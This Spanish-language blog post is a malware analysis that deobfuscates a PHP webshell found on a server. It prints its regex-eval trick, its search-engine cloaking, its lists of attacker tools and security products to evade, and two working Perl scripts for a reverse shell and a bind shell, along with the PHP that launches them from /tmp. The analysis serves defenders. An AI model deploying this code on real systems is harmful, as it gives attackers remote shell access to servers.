systemadmin.es > Seguridad > Desofuscando una webshell

Desofuscando una webshell

Entre los regalitos que te puedes encontrar en un servidor están las webshells, que permite al atacante ejecutar todo el código PHP que pueda e incluso comandos del sistema mediante exec con los permisos que corra el servidor web. Vamos a ver un ejemplo de una webshell y a intentar desofuscar el código para ver que hace

El código que veremos sería el siguiente:

Código ofuscado de una webshell

Código ofuscado de una webshell

La ausencia de un eval hace que sea menos sospechoso, el truco reside en la expresión regular:

preg_replace("/.*/e","\x65\x76\x61\x6C\x28

Mediante el /e evalua el resultado y la expresión regular aplica a cada byte sin aplicar ninguna substitución. Por otro lado tenemos los primeros caracteres que vemos que se desofuscan en una descompresión de un fichero binario codificado en base64:

$ echo -e '\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28' | awk '{printf "%s\n", $_}'
eval(gzinflate(base64_decode(

El eval() inicial me parece curioso, ya que el preg_replace() con el /e ya lo esta haciendo, por lo que me parece redundante. Por ejemplo:

preg_replace("/.*/e","printf('test\n');",".");

Se ejecuta, pero, dos veces:

$ php cosa4.php 
test
test

Podemos verlo quitando el /e:

$ cat cosa4.php 
<?php

echo preg_replace("/.*/","die('test\n');",".");

?>
$ php cosa4.php 
die('test
');die('test
');

Quitando el * lo solucionaríamos:

$ cat cosa4.php 
<?php

echo preg_replace("/./","die('test\n');",".");

?>
$ php cosa4.php 
die('test
');

Ignorando esto, que se lo debe solucionar con un die():

$ cat cosa4.php 
<?php

preg_replace("/.*/e","die('test\n');",".");

?>
$ php cosa4.php 
test

Al final del código podemos ver cómo cierra los paréntesis:

$ echo -e '\x29\x29\x29\x3B' | awk '{printf "%s\n", $_}')));
)));

Si modificamos el código con un echo podemos obtener el código que se evalua:

echo gzinflate(base64_decode('7X1re9s2z/Dn9VcwmjfZ....
Código de la webshell

Código de la webshell

Analizando un poco el código podemos encontrar cosas curiosas, por ejemplo, automatiza la búsqueda de exploits en expoit-db:

$explink = 'http://exploit-db.com/search/?action=search&filter_description='

Y busca ciertos comandos que le pueden ser útiles:

$userful = 
array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');

A la vez que busca otros que le pueden perjudicar:

$danger = 
array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');

Incluso evita que Google y otros buscadores lo indexe dando un 404 si en el User-Agent aparecen los buscadores:

if(!empty($_SERVER['HTTP_USER_AGENT'])) 
{ 
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); 
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) 
{ 
header('HTTP/1.0 404 Not Found'); exit; 
} 
}

Al final del código podemos ver que hay otras partes ofuscadas con base64:

webshell backconnect

webshell backconnect

En este caso no va comprimido, por lo que con base64_decode() tenemos suficiente:

echo base64_decode('IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29

Resultando el código en:

#!/usr/bin/perl
use Socket;
$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system('/bin/sh -i');
close(STDIN);
close(STDOUT);
close(STDERR);

Y la otra variable es:

#!/usr/bin/perl
$SHELL="/bin/sh -i";
if (@ARGV < 1) { exit(1); }
use Socket;
socket(S,&PF_INET,&SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1) {
	accept(CONN,S);
	if(!($pid=fork)) {
		die "Cannot fork" if (!defined $pid);
		open STDIN,"<&CONN";
		open STDOUT,">&CONN";
		open STDERR,">&CONN";
		exec $SHELL || die print CONN "Cant execute $SHELL\n";
		close CONN;
		exit 0;
	}
}

Vemos que según la variable p1 usa un script o otro para que el equipo se conecte al del atacante y le ofrezca una shell remota:

if($_POST['p1'] == 'bpp') 
{ 
cf("/tmp/bp.pl",$bind_port_p); 
$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &"); 
sleep(1); 
(...)
if($_POST['p1'] == 'bcp') 
{ 
cf("/tmp/bc.pl",$back_connect_p); 
$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &"); 
(...)

Nos hemos entretenido a ver cómo funcionaba dicha webshell con Gerard:

vamcats de Gerard Alcorlo

vamcats de Gerard

One comment to “Desofuscando una webshell”

  1. Muy interesante !!!!

    Gracias por compartirlo

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>